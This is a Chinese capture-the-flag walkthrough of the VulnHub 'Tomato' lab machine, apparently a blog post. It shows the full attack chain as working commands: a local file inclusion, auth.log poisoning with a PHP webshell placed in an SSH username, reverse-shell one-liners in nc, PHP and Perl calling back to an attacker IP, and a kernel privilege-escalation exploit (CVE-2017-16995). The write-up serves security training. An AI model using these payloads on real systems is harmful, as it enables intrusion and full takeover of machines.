vulnhub靶场-tomato

1、靶机信息

靶机名称:tomato

靶机难度:中等到困难

虚拟机环境:VMware Workstation 15.x Pro(此靶机推荐使用VMware搭建)

目标:获取root shell,即(root@localhost:~#),然后获取/root下的flag

靶机地址:https://download.vulnhub.com/tomato/Tomato.ova

kali服务器IP

192.168.233.131

靶机IP

192.168.233.142

2、信息收集

2.1 使用arp协议探测靶机地址(同一网段下)

arp-scan -l

2.2 使用nmap探测靶机开放端口和服务

-sS SYN扫描,半连接

-sV 全端口版本探测

-p- 全端口扫描

通过扫描结果可发现开放21 FTP服务,目前无利用价值,80为Apache服务,2211端口为SSH服务,8888为Nginx服务

nmap -sS -sV -p- 192.168.233.142

2.3 查看80端口Web服务

看到一张大西红柿照片,页面源码也没有可利用的东西,下一步尝试寻找敏感路径

2.4 使用dirsearch进行目录遍历

未发现有价值的目录,尝试换个字典再试试

dirsearch -u http://192.168.233.142 -f -e php,html.txt

2.5 使用SecLists字典进行目录遍历

dirsearch -u http://192.168.233.142 -w /home/SecLists/Discovery/Web-Content/common.txt

在扫描中我们发现/antibot_image/路径,我们尝试访问一下

SecLists项目地址:https://github.com/danielmiessler/SecLists

2.6 访问http://192.168.233.142/antibot_image/

接下来我们在目录中寻找有价值信息

2.7 在路径中发现两个重要信息

①info.php phpinfo信息

②screenshot-3.jpg 展示此系统使用了AntiBotPlugin插件

3、漏洞发现

3.1 在phpinfo页面查看源代码

在页面源代码中我们需要注意两个方面,一方面是注释内容,一方面是发现从页面到后端的应用程序接口或脚本内容

include语句会获取指定文件中存在的所有文本/代码/标记,文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码

3.2 此处我们怀疑存在文件包含漏洞,image函数就是可以包含其他文件

http://192.168.233.142/antibot_image/antibots/info.php?image=../../../../../etc/passwd

3.3 因为远程文件包含关闭,我们尝试进行本地文件包含

3.4 日志文件分析

在多次尝试后,发现/var/log/auth.log中记录了FTP和SSH的登录服务,我们使用root和root123123123123123账户尝试ssh登录,可以看到被写入到了auth.log日志文件中,如果我们换成一句话木马内容,并且写入到此日志文件中,就可以使用系统目前的文件包含漏洞加载此日志文件,加载一句话木马。

3.5 我们尝试写入一句话木马

ssh <?php echo system($_GET["jason"]); ?>@192.168.233.142 2211

发现日志文件中并没有我们输入的这串php代码<?php echo system($_GET["jason"]); ?>,证明系统执行了php代码,而不是以文本的方式运行

3.6 访问一句话木马

命令成功执行,说明一句话写入成功

view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=whoami

view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=id

4、反弹shell

4.1 在kali服务器开启nc端口监听9999

kali服务器地址:192.168.233.131

nc -lvp 9999

4.2 nc反弹shell

命令执行成功后,连接很快断掉,猜测可能nc反弹遇到了问题,我们尝试使用其他方式反弹

view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=nc 192.168.233.131 9999

4.3 php反弹shell

目前我们可以确定目标靶机存在php环境,我们使用php语句进行反弹,却发现并没有成功

php反弹语句:php -r '$sock=fsockopen("192.168.233.131",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

浏览器执行语句:view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=php -r '$sock=fsockopen("192.168.233.131",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

4.4 perl反弹shell

我们尝试换一种语言进行反弹,使用perl语言,发现反弹成功了!

perl反弹语句:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.233.131:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

浏览器执行语句:

view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=perl -MIO -e %27$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.233.131:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;%27

5、权限提升

5.1 查看目前用户名称为www-data,我们需要提权到root拿到flag,创建一个交互式shell

/bin/bash -i

5.2 这里我们尝试使用linux-exploit-suggester,能够检测Linux内核/基于Linux的机器存在哪些本地权限提升漏洞

项目地址:https://github.com/mzet-/linux-exploit-suggester

靶机:进入/tmp目录,开启监听nc -nvlp 9999 > linux-exp.sh

kali服务器:nc传输工具至目标靶机nc 192.168.233.142 9999 < linux-exploit-suggester.sh -w 1

5.3 赋予工具一个执行权限+x,运行提权工具

chmod +x linux-exp.sh

./linux-exp.sh

5.4 根据可利用程度,我们选择CVE-2017-16995进行提权

在kali上检索此漏洞EXPsearchsploit -p 45010

5.5 因为此文件是一个C语言源码文件,需要编译才能够运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,在靶机上运行程序

源码编译:gcc 45010.c -o exp

靶机监听:nc -nvlp 9999 > exp

kali服务器:nc 192.168.233.142 9999 < exp -w 1

5.6 运行exp工具

给予执行权限chmod +x exp

运行工具:./exp

6、获取Flag

进入/root目录,获取Flag:Sun_CSR_TEAM_TOMATO_JS_0232xx23

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值